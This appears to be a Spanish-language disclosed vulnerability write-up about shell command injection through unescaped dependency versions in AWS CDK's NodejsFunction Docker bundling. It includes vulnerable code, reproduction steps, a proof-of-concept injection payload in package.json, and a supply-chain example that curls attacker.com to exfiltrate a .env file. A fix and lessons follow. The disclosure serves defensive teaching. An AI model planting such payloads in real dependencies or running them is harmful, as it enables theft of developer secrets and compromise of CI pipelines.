Resumen
El constructo NodejsFunction de aws-cdk-lib/aws-lambda-nodejs empaqueta el código de la función dentro de un contenedor Docker. Para montar ese comando de empaquetado usa una clase auxiliar interna llamada OsCommand, cuyos métodos write() y writeJson() envuelven datos entre comillas simples con la forma echo '${data}' sin escapar las comillas simples que pudiera contener el dato.
Cuando se usa la opción nodeModules, el CDK lee las versiones de las dependencias del package.json mediante extractDependencies(), las serializa con JSON.stringify() y las pasa a OsCommand.writeJson(). Como JSON.stringify() conserva las comillas simples del texto original, una versión de dependencia que contenga el carácter ' cierra antes de tiempo el echo e inyecta comandos de shell arbitrarios.
El punto clave, según el investigador, es que la vulnerabilidad no está en una API que el desarrollador use para escribir comandos (como commandHooks o goBuildFlags, para las que el CDK sí muestra avisos de seguridad durante cdk synth), sino en código interno del propio CDK. El desarrollador solo declara dependencias normales de npm; es el CDK quien interpola esas versiones en un bash -c sin avisar ni sanear nada. El informe señala que ningún aviso de seguridad del CDK cubría esta ruta.
El informe lo clasifica como CWE-78 (OS Command Injection), severidad alta, con una puntuación CVSS 3.1 de 8.6 (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).
El código vulnerable
El fallo está en packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts.
El método write() concatena el dato sin escaparlo:
public write(filePath: string, data: string): string {
// ...
return `echo '${data}' > "${filePath}"`;
// ^ sin escapar: una comilla simple en data rompe el echo
}
Y writeJson() le pasa directamente la salida de JSON.stringify():
public writeJson(filePath: string, data: object): string {
const stringifiedData = JSON.stringify(data);
return this.write(filePath, stringifiedData);
// ^ JSON.stringify conserva las comillas simples del texto original
}
Cuando se indica nodeModules, ese resultado se encadena en el comando que se ejecuta dentro de Docker con bash -c:
depsCommand = chain([
osCommand.writeJson(pathJoin(options.outputDir, 'package.json'), { dependencies }),
osCommand.copy(lockFilePath, pathJoin(options.outputDir, this.packageManager.lockFile)),
osCommand.changeDirectory(options.outputDir),
this.packageManager.installCommand.join(' '),
]);
Según el informe, el mismo fichero ya contenía una función de escape, posixShellEscape, pero no se aplicaba a OsCommand:
function posixShellEscape(arg: string): string {
return "'" + arg.replace(/'/g, "'\\''") + "'";
}
Pasos de reproducción
Requisitos previos: Node.js, npm y Docker instalados, con Docker en ejecución.
1. Crear el proyecto
mkdir cdk_poc_oscommand
cd cdk_poc_oscommand
npm init -y
2. Instalar dependencias
npm install aws-cdk-lib constructs aws-cdk typescript ts-node @types/node lodash
3. Crear tsconfig.json
{
"compilerOptions": {
"target": "es2020",
"module": "commonjs",
"strict": true,
"skipLibCheck": true,
"esModuleInterop": true,
"outDir": "dist",
"types": ["node"]
}
}
4. Crear cdk.json
{
"app": "npx ts-node app.ts"
}
5. Crear lambda/handler.js
mkdir lambda
// lambda/handler.js
exports.handler = async function() { return "OK"; }
6. Crear app.ts
import * as cdk from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
const app = new cdk.App();
const stack = new cdk.Stack(app, 'ReproStack');
new NodejsFunction(stack, 'MyHandler', {
entry: path.join(__dirname, 'lambda', 'handler.js'),
runtime: Runtime.NODEJS_20_X,
bundling: {
forceDockerBundling: true,
nodeModules: ['lodash'],
},
});
app.synth();
7. Inyectar el payload en package.json
Se edita la versión de la dependencia lodash dejando el resto de dependencias igual:
{
"dependencies": {
"lodash": "4.17.21' && touch /asset-input/pwned_via_json.txt && echo '"
}
}
8. Ejecutar cdk synth
npx cdk synth
9. Comprobar que el payload se ejecutó en el host
# Linux/macOS:
ls -la pwned_via_json.txt
# Windows (PowerShell):
Test-Path pwned_via_json.txt
El fichero pwned_via_json.txt aparece en la raíz del proyecto, es decir, en la máquina host, no solo dentro del contenedor.
Qué comando genera el CDK
El registro de ejecución real muestra cómo la comilla simple del payload parte el echo en tres comandos de shell:
docker run --rm -u "1000:1000" \
-v "C:\\h1\\AWS VDP\\cdk_poc_oscommand:/asset-input:delegated" \
-v "C:\\h1\\AWS VDP\\cdk_poc_oscommand\\cdk.out\\bundling-temp-...:/asset-output:delegated" \
-w "/" cdk-79d7bc6c... \
bash -c "'esbuild' '--bundle' '/asset-input/lambda/handler.js' \
'--target=node20' '--platform=node' '--outfile=/asset-output/index.js' \
'--external:@aws-sdk/*' '--external:lodash' && \
echo '{\"dependencies\":{\"lodash\":\"4.17.21' && \
touch /asset-input/pwned_via_json.txt && \
echo '\"}}' > \"/asset-output/package.json\" && \
cp \"/asset-input/package-lock.json\" \"/asset-output/package-lock.json\" && \
cd \"/asset-output\" && npm ci"
Los tres fragmentos resultantes son:
echo '{"dependencies":{"lodash":"4.17.21'— unechotruncado, inofensivo.touch /asset-input/pwned_via_json.txt— aquí se ejecuta el payload.echo '"}}' > "/asset-output/package.json"— escribe un JSON roto.
Impacto
El contenedor de empaquetado de Docker monta directorios del host como bind mounts:
/asset-input→ directorio del proyecto en el host (lectura/escritura)./asset-output→ directorio.cdk.stagingdel host (lectura/escritura).
Por eso los comandos inyectados no se quedan dentro del contenedor: pueden leer, modificar o borrar ficheros del host, incluyendo .env, .git/config, el código fuente y, si la raíz del proyecto es un directorio padre que lo contiene, potencialmente ~/.aws/credentials.
El escenario descrito en el informe es un ataque a la cadena de suministro: un atacante publica un paquete npm con una versión maliciosa en su propio package.json, por ejemplo:
{
"name": "@company/analytics-helper",
"version": "2.1.0",
"dependencies": {
"lodash": "4.17.21' && curl https://attacker.com/exfil?d=$(cat /asset-input/.env|base64) && echo '"
}
}
Según el investigador, el desarrollador no controla las versiones de las dependencias transitivas, así que bastaría con que un paquete malicioso estuviera en cualquier punto del árbol de dependencias. Cuando alguien instalase ese paquete y ejecutase cdk synth o cdk deploy con nodeModules, el CDK leería la versión e inyectaría el comando en el bash -c de Docker. El resultado es ejecución de código arbitrario (RCE) en la máquina del desarrollador o en el runner de CI/CD, con posibilidad de exfiltrar secretos, manipular los artefactos de la Lambda para colar una puerta trasera o comprometer la pipeline, y todo ello sin que el desarrollador vea ningún comando ni aviso.
El informe se envió el 30 de marzo de 2026, se marcó como Resolved y se divulgó públicamente el 6 de julio de 2026.
Remediación
El informe propone aplicar la función de escape posixShellEscape que ya existía en bundling.ts a todos los métodos de OsCommand, en lugar de concatenar los datos sin más:
class OsCommand {
public write(filePath: string, data: string): string {
if (this.osPlatform === 'win32') { ... }
return `echo ${posixShellEscape(data)} > ${posixShellEscape(filePath)}`;
}
public copy(src: string, dest: string): string {
if (this.osPlatform === 'win32') { ... }
return `cp ${posixShellEscape(src)} ${posixShellEscape(dest)}`;
}
}
Qué aprender de este caso
- Cuando un programa construye una orden de shell metiendo un valor entre comillas simples (
echo '${x}'), esas comillas no protegen de nada si el valor puede contener a su vez una': revisa todobash -coexecdonde se interpolen cadenas y aplica un escape real (como elposixShellEscapeque ya tenía el propio fichero) en vez de confiar en las comillas literales. JSON.stringify()no neutraliza comillas simples ni caracteres de shell: serializar a JSON no convierte un dato en seguro para pasarlo por un intérprete de comandos. El escape tiene que ser el del destino (la shell), no el del formato.- Los datos que parecen "de confianza" por venir de un fichero de configuración, como las versiones de un
package.json, pueden proceder de paquetes de terceros: trátalos como entrada no confiable al construir comandos. - Un contenedor Docker con bind mounts de escritura hacia el proyecto no aísla al host: si el proceso del contenedor ejecuta comandos inyectados, puede leer y modificar los ficheros montados (
.env, credenciales, código). Monta solo lo imprescindible, y en solo lectura todo lo que no necesite escribirse, cuando el contenedor procese datos no confiables.